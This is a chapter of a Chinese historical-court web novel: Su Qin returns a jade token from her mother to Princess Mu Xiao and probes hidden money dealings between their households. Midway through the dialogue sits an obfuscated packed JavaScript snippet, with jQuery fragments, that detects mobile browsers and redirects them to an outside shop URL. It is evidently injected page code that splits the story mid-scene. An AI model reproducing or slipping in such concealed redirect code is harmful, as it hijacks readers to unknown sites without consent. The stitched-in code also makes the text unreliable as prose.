苏沁双手交叠搭在身前，在院中抬头环顾一圈，觉得上次来只顾低头行路，真是可惜了这院中景致。
她静静提起裙摆，一步步踏过脚下的青石路与木阶，带着身后侍女，缓缓走入公主府议事堂。
“苏小姐，别来无恙。”牧晓看着与上次全然不同的苏沁，微笑道，“与上次不欢而散相隔几月未见，还不曾有时间向苏小姐道贺。随意坐。”
苏沁心头一跳，在原地愣怔几息，血液倒涌，手脚冰冷，脑中原本计划好的说辞应对忽然全被打散了。
“公主说笑了。近日兄长流放加上国丧，延国公府不曾有什么喜事。”苏沁尽力平复心绪，但交叠在袖中的手还是微微颤抖起来，“民女也不曾有什么喜事。不知公主所言何事？”
“苏小姐执掌延国公府，几月便摸透了账目。这两件不值得道贺么？”牧晓端坐在上，与她平静对视，“苏小姐的答卷令我刮目相看。只是不知苏小姐为何舍了些处理自家府务的时间，来我公主府参试？”
“令堂近来，可还康安？”
提到自己的母亲，苏沁袖中的手互相攥紧，扭作一团。
她尽力回想自己在府中写了无数遍草稿的内容，但还是没想起来，只能竭力维持声音的平稳，择了脑中还在的一件事，开口道：“家母有东西和话让我转递与公主。”
说完，苏沁起身走向前，双手递上一块碎了一个角的小玉佩：“民女可否直接叙述家母的原话？或有些许失礼，还请公主恕罪。”
牧晓从她手中接过玉佩仔细端详，并示意苏沁但说无妨。
那是一个穿了如意结的穗子的玉佩。如意结打得并不完美，歪歪斜斜，配色有些古怪，但让牧晓颇为眼熟。
她想起牧府还在时，她与母亲相约要一起穿两枚独特的玉佩，当作她们之间的小信物。
这一块，并不是最后的成品，而是练手之作。
因为是亲手打得，不舍得丢掉，又因特别且好辨认，被当时总角之年的她当作信物，送给过她觉得需要帮助的女子，让她们若有需要，可凭这信物上牧府的门，找她和她母亲。
这样的玉佩她一共只送出去过两块。
一块给了当时的闻笙；另一块给出时在往尘寺山脚的坟茔间，还发生了些不愉快的事。
她其实早就忘记了往尘寺山脚下那人的模样，只记得她自报的名字与那寥寥几句对话。
所以那女子是……
“家母说，她本名叫孙颜朱。”苏沁将冰凉的手收回袖中，定了定心道，“不知牧……牧二小姐是否还记得她。她当时见您，报的并非本名。”
何止不是本名。牧晓忆起当时的情形——那人报的是面前墓碑上的化名，说她就是那墓碑的主人“朱颜”。
“她十分抱歉当年砸了您的玉佩，但仍然……不喜您当年说的话。”
当年，牧晓想偷偷将手中密封的木盒子埋在那堆乱坟茔间，恰巧遇上了去为“自己”扫墓的孙颜朱。
孙颜朱自报姓名，并询问她，为何在此处，是否需要帮助，就当结个善缘。
于是她们两人交换了信物，一起用簪子与旁边的石块，挖出来刚能埋进那个木盒的小小坑洞。因刚下过雨，所以挖得相当轻松。
只是在填土闲聊时，出了问题。
孙颜朱问她是谁家的孩子。
牧晓说，京城牧府。若有难处，可持这玉佩上门找她。
孙颜朱又问，盒子里是什么。
牧晓如实回答，是一只斗死的画眉。
孙颜朱停下手中动作，问她，不觉得残忍么。
牧晓用与当时年龄不符的冰冷，重复长辈的话，说道——那是它的命。
看着自己的墓碑与旁边埋了一半的木盒，本是信命的孙颜朱，内心轰然决堤。
“家母还说……她到现在都不明白自己在延国公府与您的那次相遇，到底做错了什么。”
孙颜朱觉得，自己作为长辈，应该管束一下这个小辈。这牧二小姐当年说的话就不太好，这次来她府上，更是变本加厉。
若是不带着她忏悔，日后肯定是要遭报应的。
“不过，她感谢您冥冥之中帮她了结了一个心愿。”
在听到平良县令因昭灵公主查出的东西自尽时，孙颜朱想，原来缘分真的那样奇妙。
许愿这方面，不论是街角的那个小姑娘，还是当年的牧二小姐，现在看来都挺灵验。
或许这就是她自己积德行善的福报。
“现在她将玉佩物归原主，算作还愿。”
苏沁说完，停了停，补道：“我不明白母亲是什么意思，但母亲硬要我原话叙述，说如果我不这样，不算她成功还愿，未来要死不瞑目。”
“家母未曾读过什么书，很信这些。我只是最后尽一次做女儿的孝心，帮母亲了结执念。望公主恕罪。”
“为何说是‘最后尽一次’？她……”牧晓握了握那再次回到她手中的玉佩，问苏沁。
她和孙颜朱，每次见面都不欢而散。她们从来都无法理解对方。
牧晓此刻，虽然仍不认同对方过去的做法和那些话语，但事隔多年再次想起往尘寺山脚的那件事，想起那墓碑和画眉，有些明白对方为何会是这样。
“公主不必……担心。家母身体康健。”苏沁见牧晓丝毫没有动怒的意思，反而眼中闪着她看不明白的神色，攥着自己的手松了松，“只是在开春的这几日，已自愿前往兄长墨淳的流放之地。”
“她终究还是放不下。”苏沁明白，母亲终究还是选择了哥哥。即使她向母亲证明自己能照管好延国公府，即使她试图向母亲立誓能带她过上更好的日子，即使她的哥哥已是戴罪流放之人、在边疆苦寒之地。
即便有银两与护送者，半生困在宅院中的母亲，真的能顺利到达流放之地么？她在路上会遇到什么，会不会看到这辈子未曾见过的景物、碰上这辈子还不曾碰上的人或事？她走出府门，经这一路，还会如以前一样么？
长亭送别后，这些问题苏沁都曾设想过，担忧过，为此辗转反侧过。
在处理府务的间隙思量来思量去，苏沁最后决定不再想了。
因为她面前出现了些必须要抉择的问题，她不得不收心为自己做些打算。
“母亲既已择了自己的路，做女儿的唯能祝福。”
“但民女此行并非为母亲而来。”提及自己，苏沁跳得七零八落的心如骤然封冻般平静下来，“公主刚才提到民女的答卷以及延国公府的府务……谢公主赏识。”
如何能光明正大进公主府，并得到一个受到尊重的交谈机会，是她已思索许久的问题。
“上次相见时，公主已粗略看过延国公府账目。民女接手延国公府后重新核算过主要部分，发现些不同寻常之处。”
能得到尊重就足够了么？苏沁缓缓抬头对上对方的视线，清声道：“公主府与延国公府，早有钱权往来。起始时间远早于真正下聘与备婚时间。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947653|189215||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“延国公府本身这样数额的亏空，不只是因姚庄主的离开，还有公主府的暗中运作。”
“当年我父兄死讯传来时，公主闯进我府中，怕不是……不只是为情。”
“而是刚好，销账。”
空缺的账目，盘根错节的背后关系和与流水往来，掌家后暗中前来试探的各方……这几个月，苏沁发现，自己头顶原本的山被一层层移开，但露出的天空并非湛蓝，而是灰败。
“苏小姐，喜欢乱扣帽子这点，还是多年未改。”牧晓悠然笑了一下，“空口无凭，不如现在去公堂对峙一番？”
“公主何必……”苏沁猛地一颤。那些大多只是她的推测，真上公堂，她一个诬告的罪名大概是逃不掉的。
“或者，”牧晓打断她的话，“我现在将你长兄叫来，将流放之地的人拎回来，将你路上的母亲截回来，再拉上姚庄主，我们一起去开了苏老将军的墓，辩个明白，可好？”
苏沁喃喃道：“不，不用，不必如此……”
“确实不用。”牧晓漫不经心说完，看着逐渐僵直的苏沁，明白她手里什么都没有，和善地笑笑，“——不用紧张。开个玩笑而已。苏小姐既然先行说笑，我自然要回礼。”
“与其在这些早就尘归尘土归土的陈年旧事上耗费时间和口舌，苏小姐不如直接说明白，到底为何而来？”
牧晓觉得苏沁在“民女”与“我”的自称间来回切换，实在相当古怪。她似乎是在女儿、妹妹、延国公府当家人以及她自己，这几个身份间，来回游移。
“我……我想脱开延国公府。”沉默片刻后，苏沁深吸一口气，再次开口。
“我不知自己为何要为他们还账，还要搭上自己的年华空耗在这注定消逝的陈旧府中。”
“公主和姚庄主既已经掏空了那座府邸，为何不直接将它收走？”
静默片刻，牧晓温声问道：“在怨我们么？”
“不，不是。”苏沁下意识缩了缩脖子，但很快又将双肩放平，尽力挺直了单薄的脊背，话卡在喉中呼之欲出。
牧晓静静地凝视着她，看到她将要开口的一瞬间，却忽然松了绷住的脊梁，捏着扶手，再一次与自己对视。
苏沁露出一个苍白的笑容，在心间那缠成一团的线中寻到了一个线头抽出：“我在羡慕，或者说，在嫉妒。”
“姚家的姚，看似是姚尚书的姚，实则是姚庄主的姚。”
真正让桃李满天下的姚先生入仕的，还是姚千宁参与的那场惊天一赌。她是延国公府的债主，是许多人的债主，也同样是姚府的债主。
“近日听过公主与长兄的旧事。嫁娶招赘间几番变换，但现看来——公主府，永远是公主府。”
“原本的苏家，原本的延国公府，却注定不是我苏沁的苏。”
“我想，拥有一个属于自己的苏府。”
“是我苏沁的苏。”
“但是，我发现，”苏沁低头道，“母亲走了，其实并不是件好事。”
“与公主和长兄熟识的京城门户太多，春闱也近在眼前。”万一他们起意，自己会身不由己地直接被定了亲事。
与其原地胆战心惊等他们来利用，或是像她那素未谋面的外祖父般，走到自行了断的地步，不如她自己先来，探探到底有无生路。
“我在府中发现了可能与公主相关的异状。不知公主有没有兴趣听一听。”
威胁无法奏效，苏沁并不气馁。
她还有别的准备。